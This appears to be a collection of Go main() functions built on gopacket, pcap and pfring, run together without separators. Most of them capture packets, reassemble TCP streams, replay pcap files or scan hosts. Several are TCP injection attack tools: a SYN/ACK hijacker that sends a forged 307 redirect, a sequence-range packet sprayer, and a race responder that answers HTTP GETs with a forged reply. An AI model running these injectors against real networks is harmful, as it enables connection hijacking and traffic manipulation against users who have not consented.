func main() { defer util.Run()() var ring *pfring.Ring var err error if ring, err = pfring.NewRing(*iface, uint32(*snaplen), pfring.FlagPromisc); err != nil { log.Fatalln("pfring ring creation error:", err) } if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = ring.SetBPFFilter(bpffilter); err != nil { log.Fatalln("BPF filter error:", err) } } if *cluster >= 0 { if err = ring.SetCluster(*cluster, pfring.ClusterType(*clustertype)); err != nil { log.Fatalln("pfring SetCluster error:", err) } } if err = ring.SetSocketMode(pfring.ReadOnly); err != nil { log.Fatalln("pfring SetSocketMode error:", err) } else if err = ring.Enable(); err != nil { log.Fatalln("pfring Enable error:", err) } dumpcommand.Run(ring) }
func main() { defer util.Run()() router, err := routing.New() if err != nil { log.Fatal("routing error:", err) } for _, arg := range flag.Args() { var ip net.IP if ip = net.ParseIP(arg); ip == nil { log.Printf("non-ip target: %q", arg) continue } else if ip = ip.To4(); ip == nil { log.Printf("non-ipv4 target: %q", arg) continue } // Note: newScanner creates and closes a pcap Handle once for // every scan target. We could do much better, were this not an // example ;) s, err := newScanner(ip, router) if err != nil { log.Printf("unable to create scanner for %v: %v", ip, err) continue } if err := s.scan(); err != nil { log.Printf("unable to scan %v: %v", ip, err) } s.close() } }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if *logAllPackets { log.Println("\npacket:") // log.Println(packet) } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet") continue } tcp := packet.TransportLayer().(*layers.TCP) log.Printf("\n.......................................................\n") log.Printf("packet:\n") log.Printf("packet.Metadata().Timestamp=%T=%v=%v:\n%#v\n", packet.Metadata().Timestamp, packet.Metadata().Timestamp, packet.Metadata().Timestamp.UTC(), packet.Metadata().Timestamp) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error signal.Notify(sigs, syscall.SIGHUP) go startWebServer() go sighandler() flag.Parse() go printDebugInfo() if fname != "" { if handle, err = pcap.OpenOffline(fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(true); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if tstype != "" { if t, err := pcap.TimestampSourceFromString(tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } for { process(handle) } }
func main() { defer util.Run()() var err error f_config := fluent.Config{FluentSocketPath: *fluent_socket, FluentNetwork: "unix"} logger, err = fluent.New(f_config) defer logger.Close() // log.Printf("starting capture on interface %q", *iface) // Set up pcap packet capture handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { panic(err) } if err := handle.SetBPFFilter(*filter); err != nil { panic(err) } // Set up assembly streamFactory := &myFactory{bidiMap: make(map[key]*bidi)} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) // log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(timeout / 4) for { select { case packet := <-packets: if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { //log.Println("Unusable packet") continue } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past minute. // log.Println("---- FLUSHING ----") assembler.FlushOlderThan(time.Now().Add(-timeout)) streamFactory.collectOldStreams() } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } // https://github.com/google/gopacket/blob/master/dumpcommand/tcpdump.go dumpcommand.Run(handle) }
func main() { defer util.Run()() //var handle *pcap.Handle var handle *bsdbpf.BPFSniffer var err error var options = bsdbpf.Options{ BPFDeviceName: "", //ReadBufLen: 32767, ReadBufLen: 0, // asks BPF for buffer size (32768 with OpenBSD 5.7) //Timeout: nil, Timeout: &syscall.Timeval{Sec: 1, Usec: 0}, Promisc: true, //Immediate: true, Immediate: false, PreserveLinkAddr: true, } // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) //handle, err = pcap.OpenOffline(*fname) log.Fatal("Reading from pcap dump %q not yet implemented on BSD", *fname) } else { log.Printf("Starting capture on interface %q", *iface) //handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) //handle, err = bsdbpf.NewBPFSniffer(*iface, nil) handle, err = bsdbpf.NewBPFSniffer(*iface, &options) } if err != nil { log.Fatal(err) } if err := handle.SetBpfReadFilterProgram(bpfHTTPFilterProg); err != nil { log.Fatal(err) } if err := handle.FlushBpf(); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. //packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packetSource := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if *logAllPackets { log.Println(packet) } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet") continue } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { panic(err) } if err := handle.SetBPFFilter(*filter); err != nil { panic(err) } // Set up assembly streamFactory := &myFactory{bidiMap: make(map[key]*bidi)} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(timeout / 4) ReadingPackets: for { select { case packet := <-packets: if *logAllPackets { log.Println(packet) } if packet == nil { log.Println("Unusable packet: if packet == nil") break ReadingPackets } if packet.NetworkLayer() == nil { log.Println("Unusable packet: if packet.NetworkLayer() == nil") break ReadingPackets } if packet.TransportLayer() == nil { log.Println("Unusable packet: if packet.TransportLayer() == nil") break ReadingPackets } if packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet: if packet.TransportLayer().LayerType() != layers.LayerTypeTCP") break ReadingPackets } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past minute. log.Println("---- FLUSHING ----") assembler.FlushOlderThan(time.Now().Add(-timeout)) streamFactory.collectOldStreams() } } }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }
func main() { defer util.Run()() // Sanity checks if *fname == "" { log.Fatal("Need a input file") } // Open PCAP file + handle potential BPF Filter handleRead, err := pcap.OpenOffline(*fname) if err != nil { log.Fatal("PCAP OpenOffline error (handle to read packet):", err) } defer handleRead.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handleRead.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } // Open up a second pcap handle for packet writes. handleWrite, err := pcap.OpenLive(*iface, 65536, true, pcap.BlockForever) if err != nil { log.Fatal("PCAP OpenLive error (handle to write packet):", err) } defer handleWrite.Close() start = time.Now() pkt := 0 tsStart, tsEnd, packets, size := pcapInfo(*fname) // Loop over packets and write them for { data, ci, err := handleRead.ReadPacketData() switch { case err == io.EOF: fmt.Printf("\nFinished in %s", time.Since(start)) return case err != nil: log.Printf("Failed to read packet %d: %s\n", pkt, err) default: if *fast { writePacket(handleWrite, data) } else { writePacketDelayed(handleWrite, data, ci) } bytesSent += len(data) duration := time.Since(start) pkt++ if duration > time.Second { rate := bytesSent / int(duration.Seconds()) remainingTime := tsEnd.Sub(tsStart) - duration fmt.Printf("\rrate %d kB/sec - sent %d/%d kB - %d/%d packets - remaining time %s", rate/1000, bytesSent/1000, size/1000, pkt, packets, remainingTime) } } } }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload decoded := make([]gopacket.LayerType, 0, 4) // target/track all TCP flows from this TCP/IP service endpoint trackedFlows := make(map[types.TcpIpFlow]int) serviceIP := net.ParseIP(*serviceIPstr) if serviceIP == nil { panic(fmt.Sprintf("non-ip target: %q\n", serviceIPstr)) } serviceIP = serviceIP.To4() if serviceIP == nil { panic(fmt.Sprintf("non-ipv4 target: %q\n", serviceIPstr)) } streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } streamInjector.Payload = []byte("meowmeowmeow") handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) flow := &types.TcpIpFlow{} log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // if we see a flow coming from the tcp/ip service we are watching // then track how many packets we receive from each flow if tcp.SrcPort == layers.TCPPort(*servicePort) && ip4.SrcIP.Equal(serviceIP) { flow = types.NewTcpIpFlowFromLayers(ip4, tcp) _, isTracked := trackedFlows[*flow] if isTracked { trackedFlows[*flow] += 1 } else { trackedFlows[*flow] = 1 } } else { continue } // after 3 packets from a given flow then inject packets into the stream if trackedFlows[*flow]%10 == 0 { err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20) if err != nil { panic(err) } log.Print("packet spray sent!\n") } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error flushDuration, err := time.ParseDuration(*flushAfter) if err != nil { log.Fatal("invalid flush duration: ", *flushAfter) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, flushDuration/2) // if err != nil { // log.Fatal("error opening pcap handle: ", err) // } // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } // Set up assembly streamFactory := &statsStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) assembler.MaxBufferedPagesPerConnection = *bufferedPerConnection assembler.MaxBufferedPagesTotal = *bufferedTotal log.Println("reading in packets") // We use a DecodingLayerParser here instead of a simpler PacketSource. // This approach should be measurably faster, but is also more rigid. // PacketSource will handle any known type of packet safely and easily, // but DecodingLayerParser will only handle those packet types we // specifically pass in. This trade-off can be quite useful, though, in // high-throughput situations. var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) nextFlush := time.Now().Add(flushDuration / 2) var byteCount int64 start := time.Now() loop: for ; *packetCount != 0; *packetCount-- { // Check to see if we should flush the streams we have // that haven't seen any new data in a while. Note we set a // timeout on our PCAP handle, so this should happen even if we // never see packet data. if time.Now().After(nextFlush) { stats, _ := handle.Stats() log.Printf("flushing all streams that haven't seen packets in the last 2 minutes, pcap stats: %+v", stats) assembler.FlushOlderThan(time.Now().Add(flushDuration)) nextFlush = time.Now().Add(flushDuration / 2) } // To speed things up, we're also using the ZeroCopy method for // reading packet data. This method is faster than the normal // ReadPacketData, but the returned bytes in 'data' are // invalidated by any subsequent ZeroCopyReadPacketData call. // Note that tcpassembly is entirely compatible with this packet // reading method. This is another trade-off which might be // appropriate for high-throughput sniffing: it avoids a packet // copy, but its cost is much more careful handling of the // resulting byte slice. data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v", err) break loop // continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } if *logAllPackets { log.Printf("decoded the following layers: %v", decoded) } byteCount += int64(len(data)) // Find either the IPv4 or IPv6 address to use as our network // layer. foundNetLayer := false var netFlow gopacket.Flow for _, typ := range decoded { switch typ { case layers.LayerTypeIPv4: netFlow = ip4.NetworkFlow() foundNetLayer = true case layers.LayerTypeIPv6: netFlow = ip6.NetworkFlow() foundNetLayer = true case layers.LayerTypeTCP: if foundNetLayer { assembler.AssembleWithTimestamp(netFlow, &tcp, ci.Timestamp) } else { log.Println("could not find IPv4 or IPv6 layer, inoring") } continue loop } } log.Println("could not find TCP layer") } assembler.FlushAll() log.Printf("processed %d bytes in %v", byteCount, time.Since(start)) }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }